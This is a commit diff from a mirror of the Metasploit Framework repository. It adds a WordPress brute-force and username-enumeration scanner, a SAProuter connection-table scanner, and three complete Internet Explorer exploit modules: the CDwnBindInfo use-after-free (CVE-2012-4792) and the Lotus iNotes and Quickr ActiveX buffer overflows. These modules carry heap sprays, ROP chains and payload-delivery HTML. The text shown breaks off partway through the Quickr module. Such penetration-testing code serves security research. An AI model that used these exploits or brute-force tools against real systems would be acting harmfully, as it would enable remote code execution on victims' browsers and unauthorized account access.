infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'master' of git://github.com/rapid7/metasploit-framework

bug/bundler_fix
sinn3r 2012-12-30 20:34:57 -06:00
parent e778730a6a 1084334d5e
commit 5703274bc4
5 changed files with 1107 additions and 19 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

95
modules/auxiliary/scanner/http/wordpress_login_enum.rb
View File

@ -1,7 +1,3 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
@ -9,7 +5,6 @@
# http://metasploit.com/
##
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
@ -20,18 +15,19 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
'Version' => '$Revision$',
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
'Author' => [
'Alligator Security Team',
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
],
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
'Author' =>
[
'Alligator Security Team',
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
'Zach Grace <zgrace[at]404labs.com>'
],
'References' =>
[
['BID', '35581'],
['CVE', '2009-2335'],
['OSVDB', '55713'],
['OSVDB', '55713']
],
'License' => MSF_LICENSE
)
@ -39,8 +35,11 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),
OptBool.new('VALIDATE_USERS', [ true, "Validate usernames", true ]),
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10'])
], self.class)
end
@ -51,6 +50,11 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
usernames = []
if datastore['ENUMERATE_USERNAMES']
usernames = enum_usernames
end
if datastore['VALIDATE_USERS']
@users_found = {}
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
@ -68,17 +72,29 @@ class Metasploit3 < Msf::Auxiliary
if datastore['VALIDATE_USERS']
if @users_found && @users_found.keys.size > 0
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
else
vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")
return
end
end
# Brute-force using files.
each_user_pass { |user, pass|
if datastore['VALIDATE_USERS']
next unless @users_found[user]
end
do_login(user, pass)
do_login(user, pass)
}
# Brute force previously found users
if not usernames.empty?
print_status("#{target_url} - Brute-forcing previously found accounts...")
passwords = load_password_vars(datastore['PASS_FILE'])
usernames.each do |user|
passwords.each do |pass|
do_login(user, pass)
end
end
end
end
end
@ -122,7 +138,8 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'),
:user => user,
:port => rport,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}",
)
@users_found[user] = :reported
@ -181,4 +198,44 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def enum_usernames
usernames = []
for i in datastore['RANGE_START']..datastore['RANGE_END']
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
print_status "#{target_url} - Requesting #{uri}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if (res and res.code == 301)
uri = URI(res.headers['Location'])
uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
end
if res.nil?
print_error("#{target_url} - Error getting response.")
elsif res.code == 200 and res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i
username = $1
print_good "#{target_url} - Found user '#{username}' with id #{i.to_s}"
usernames << username
elsif res.code == 404
print_status "#{target_url} - No user with id #{i.to_s} found"
else
print_error "#{target_url} - Unknown error. HTTP #{res.code.to_s}"
end
end
if not usernames.empty?
p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
print_status("#{target_url} - Usernames stored in: #{p}")
end
return usernames
end
end

158
modules/auxiliary/scanner/sap/sap_router_info_request.rb Normal file
View File

@ -0,0 +1,158 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAPRouter Admin Request',
'Description' => %q{
Display the remote connection table from a SAPRouter.
},
'References' => [
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ],
[ 'URL', 'http://help.sap.com/saphelp_nw70ehp3/helpdata/en/48/6c68b01d5a350ce10000000a42189d/content.htm'],
[ 'URL', 'http://www.onapsis.com/research-free-solutions.php' ] # Bizsploit Opensource ERP Pentesting Framework
],
'Author' => [
'nomnkee',
'Mariano Nunez', # Wrote Bizploit, helped on this module, very cool guy
'Chris John Riley', # Testing
'Ian de Villiers', # Testing
'Joris van de Vis' # Testing
],
'License' => BSD_LICENSE
)
register_options(
[
Opt::RPORT(3299)
], self.class)
end
def get_data(size, packet_len)
info = ''
1.upto(size) do |i|
data = sock.recv(1)
packet_len -= 1
if data == "\x00"
sock.recv(size - i)
packet_len -= size - i
return info, packet_len
break
else
info << data
end
end
end
def run_host(ip)
host_port = "#{ip}:#{datastore['RPORT']}"
type = 'ROUTER_ADM'
version = 0x26
cmd = 0x2
count = 0
connected = true
port = datastore['RPORT']
source = ''
destination = ''
service = ''
ni_packet = type + [0,version,cmd,0,0].pack("c*")
ni_packet = [ni_packet.length].pack('N') << ni_packet
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] SAProuter Connection Table for #{ip}",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Source",
"Destination",
"Service"
])
begin
connect
rescue ::Rex::ConnectionRefused
print_status("#{host_port} - Connection refused")
connected = false
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
print_status("#{host_port} - Connection timeout")
connected = false
rescue ::Exception => e
print_error("#{host_port} - Exception #{e.class} #{e} #{e.backtrace}")
connected = false
end
if connected
print_good("#{host_port} - Connected to saprouter")
print_good("#{host_port} - Sending ROUTER_ADM packet info request")
sock.put(ni_packet)
packet_len = sock.read(4).unpack('H*')[0].to_i 16
print_good("#{host_port} - Got INFO response")
while packet_len !=0
count += 1
case count
when 1
if packet_len > 150
sock.recv(150)
packet_len -= 150
source, packet_len = get_data(46,packet_len)
destination, packet_len = get_data(46,packet_len)
service, packet_len = get_data(30,packet_len)
sock.recv(2)
packet_len -= 2
saptbl << [source, destination, service]
while packet_len > 0
sock.recv(13)
packet_len -= 13
source, packet_len = get_data(46,packet_len)
destination, packet_len = get_data(46,packet_len)
service, packet_len = get_data(30,packet_len)
term = sock.recv(2)
packet_len -= 2
saptbl << [source, destination, service]
end
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
else
print_error("#{host_port} - No connected clients")
sock.recv(packet_len)
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
end
when 2
data = sock.recv(packet_len)
packet_len -= packet_len
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
when 3
clients = sock.recv(packet_len)
packet_len -= packet_len
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
when 4
pwd = sock.recv(packet_len)
print_good(pwd)
packet_len -= packet_len
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
when 5
routtab = sock.recv(packet_len)
print_good(routtab)
packet_len -= packet_len
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
end
if packet_len == 0
break
end
end
disconnect
# TODO: This data should be saved somewhere. A note on the host would be nice.
print(saptbl.to_s)
end
end
end

312
modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb Normal file
View File

@ -0,0 +1,312 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
],
'Payload' =>
{
'Space' => 980,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0b30
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t.name =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
end
else
print_status("Using JRE ROP")
stack_pivot = [0x7c348b06].pack("V") * 54 # ret
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++)
{
arrObject[i] = document.createElement('div');
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
for (var i = 0; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
for (var i = 0; i < elmObject.length; i ++)
{
elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
var eip = window;
var data = "#{Rex::Text.rand_text_alpha(41)}";
eip.location = unescape("%u0b30%u0c0c" + data);
}
</script>
</head>
<body onload="eval(exploit())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end

292
modules/exploits/windows/browser/inotes_dwa85w_bof.rb Normal file
View File

@ -0,0 +1,292 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",
:method => "Attachment_Times"
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability on the UploadControl
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
property, due to the insecure usage of the _swscanf. The affected ActiveX is
provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.
This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.
In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
is installed with the iNotes ActiveX.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gaurav Baruah', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2175'],
[ 'OSVDB', '82755' ],
[ 'BID', '53879' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
],
'Payload' =>
{
'Space' => 978,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# dwa85W.dll 85.3.3.0
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
[ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
[ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll
],
'Privileged' => false,
'DisclosureDate' => "Jun 01 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|
else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using dwabho.dll ROP")
# gadgets from dwabho.dll, using mona.py
rop_payload = [
0x1000f765, # POP EAX # RETN
0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]
0x10010394, # JMP DWORD PTR DS:[EAX]
0x0c0c0c2c, # ret after VirtualAlloc
0x0c0c0c2c, # lpAddress
0x00000400, # dwSize
0x00001000, # flAllocationType
0x00000040 # flProtect
].pack("V*")
rop_payload << code
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
bof = rand_text_alpha(552) # offset to eip
bof << [my_target.ret].pack("V")
case my_target['Rop']
when :msvcrt
bof << rand_text_alpha(4)
bof << [0x0c0c0c0c].pack("V") # new ESP
when :notes
bof << rand_text_alpha(4)
bof << [0x0c0c0c00].pack("V") # eax
bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
bof << [0x0c0c0c04].pack("V") # new ESP
end
my_bof = Rex::Text.to_unescape(bof)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
<param name="General_Mode" value="1">
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
</object>
<script>
var bof = unescape("#{my_bof}");
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
my_time += bof;
my_time += " GMT";
UploadControl.Attachment_Times = my_time;
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

269
modules/exploits/windows/browser/quickr_qp2_bof.rb Normal file
View File

@ -0,0 +1,269 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}",
:method => "Attachment_Times"
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability on the UploadControl
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
property, due to the insecure usage of the _swscanf. The affected ActiveX is
provided by the qp2.dll installed with the IBM Lotus Quickr product.
This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module
msvcr71.dll is used. This one is installed with the qp2 ActiveX.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gaurav Baruah', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2176' ],
[ 'OSVDB', '82166' ],
[ 'BID', '53678'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]
],
'Payload' =>
{
'Space' => 978,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# qp2.dll 8.1.0.1800
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll
],
'Privileged' => false,
'DisclosureDate' => "May 23 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
